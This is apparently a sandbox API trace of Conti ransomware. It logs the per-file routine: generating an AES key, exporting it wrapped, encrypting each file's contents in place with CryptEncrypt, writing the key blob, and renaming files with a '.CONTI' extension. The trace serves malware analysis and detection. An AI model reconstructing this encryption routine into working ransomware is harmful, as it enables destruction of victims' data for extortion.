	[0096.799] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20
	[0096.799] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0096.799] GetLastError () returned 0x0
	[0096.799] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=69632) returned 1
	[0096.799] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.799] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.799] SetEndOfFile (hFile=0x388) returned 1
	[0096.800] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.476] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.476] WriteFile (in: hFile=0x388, lpBuffer=0x17e922c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17e922c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.478] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.478] ReadFile (in: hFile=0x388, lpBuffer=0xd030000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x11000, lpOverlapped=0x0) returned 1
	[0097.489] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x11000, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x11010) returned 1
	[0097.497] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.497] WriteFile (in: hFile=0x388, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x11010, lpOverlapped=0x0) returned 1
	[0097.498] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.498] WriteFile (in: hFile=0x388, lpBuffer=0x17e9220*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17e9220*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0097.498] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.498] CloseHandle (hObject=0x388) returned 1
	[0097.499] GetProcessHeap () returned 0x1720000
	[0097.499] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0097.499] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx"
	[0097.500] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.CONTI"
	[0097.500] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.conti")) returned 1
	[0097.500] GetProcessHeap () returned 0x1720000
	[0097.500] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0097.500] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0097.500] GetProcessHeap () returned 0x1720000
	[0097.500] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d13d0 | out: hHeap=0x1720000) returned 1
	[0097.500] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0098.798] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17e6488 | out: phKey=0x17e6488*=0x17c8430) returned 1
	[0098.798] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e648c, pdwDataLen=0x497fc1c | out: pbData=0x17e648c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0098.814] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash")) returned 0x20
	[0098.815] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.815] GetLastError () returned 0x0
	[0098.815] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=102) returned 1
	[0098.815] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x66
	[0098.815] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.815] SetEndOfFile (hFile=0x380) returned 1
	[0098.817] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.817] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.817] WriteFile (in: hFile=0x380, lpBuffer=0x17e648c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17e648c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.824] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.824] ReadFile (in: hFile=0x380, lpBuffer=0xd030000, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x66, lpOverlapped=0x0) returned 1
	[0098.824] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x66, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x70) returned 1
	[0098.824] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.824] WriteFile (in: hFile=0x380, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x70, lpOverlapped=0x0) returned 1
	[0098.824] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.824] WriteFile (in: hFile=0x380, lpBuffer=0x17e6480*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17e6480*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0098.824] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.824] CloseHandle (hObject=0x380) returned 1
	[0098.825] GetProcessHeap () returned 0x1720000
	[0098.825] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.825] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash"
	[0098.825] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.CONTI"
	[0098.825] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash.conti")) returned 1
	[0098.825] GetProcessHeap () returned 0x1720000
	[0098.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.825] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0098.825] GetProcessHeap () returned 0x1720000
	[0098.825] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cc250 | out: hHeap=0x1720000) returned 1
	[0098.825] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0098.826] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c84f0) returned 1
	[0098.826] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x497fc1c | out: pbData=0x17d3fac*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0098.826] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash")) returned 0x20
	[0098.827] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.827] GetLastError () returned 0x0
	[0098.827] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=128) returned 1
	[0098.827] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80
	[0098.827] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.827] SetEndOfFile (hFile=0x380) returned 1
	[0098.830] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.830] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.830] WriteFile (in: hFile=0x380, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.845] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.845] ReadFile (in: hFile=0x380, lpBuffer=0xd030000, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x80, lpOverlapped=0x0) returned 1
	[0098.845] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x80, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x90) returned 1
	[0098.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.845] WriteFile (in: hFile=0x380, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x90, lpOverlapped=0x0) returned 1
	[0098.845] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.845] WriteFile (in: hFile=0x380, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0098.845] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.845] CloseHandle (hObject=0x380) returned 1
	[0098.846] GetProcessHeap () returned 0x1720000
	[0098.846] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0098.846] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash"
	[0098.846] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash.CONTI"
	[0098.846] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash.conti")) returned 1
	[0098.847] GetProcessHeap () returned 0x1720000
	[0098.847] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0098.847] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0098.847] GetProcessHeap () returned 0x1720000
	[0098.847] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8a18 | out: hHeap=0x1720000) returned 1
	[0098.847] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0098.847] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8230) returned 1
	[0098.847] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x497fc1c | out: pbData=0x17d5434*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0098.847] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat")) returned 0x20
	[0098.848] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.848] GetLastError () returned 0x0
	[0098.848] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=4590407) returned 1
	[0098.848] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x460b47
	[0098.848] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.848] SetEndOfFile (hFile=0x380) returned 1
	[0098.849] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.849] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.849] WriteFile (in: hFile=0x380, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0098.851] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0098.851] ReadFile (in: hFile=0x380, lpBuffer=0xd030000, nNumberOfBytesToRead=0x460b47, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x460b47, lpOverlapped=0x0) returned 1
	[0100.142] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x460b47, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x460b50) returned 1
	[0100.147] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.148] WriteFile (in: hFile=0x380, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x460b50, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x460b50, lpOverlapped=0x0) returned 1
	[0100.857] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.857] WriteFile (in: hFile=0x380, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0100.857] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0100.857] CloseHandle (hObject=0x380) returned 1
	[0103.363] GetProcessHeap () returned 0x1720000
	[0103.364] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0103.364] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat"
	[0103.364] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.CONTI"
	[0103.364] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat.conti")) returned 1
	[0103.952] GetProcessHeap () returned 0x1720000
	[0103.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0103.952] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0103.952] GetProcessHeap () returned 0x1720000
	[0103.952] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8b18 | out: hHeap=0x1720000) returned 1
	[0103.952] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0103.952] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d31f8 | out: phKey=0x17d31f8*=0x17c7ef0) returned 1
	[0103.952] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d31fc, pdwDataLen=0x497fc1c | out: pbData=0x17d31fc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0103.953] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico")) returned 0x20
	[0104.643] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.643] GetLastError () returned 0x5
	[0104.643] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0104.643] GetProcessHeap () returned 0x1720000
	[0104.644] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b788 | out: hHeap=0x1720000) returned 1
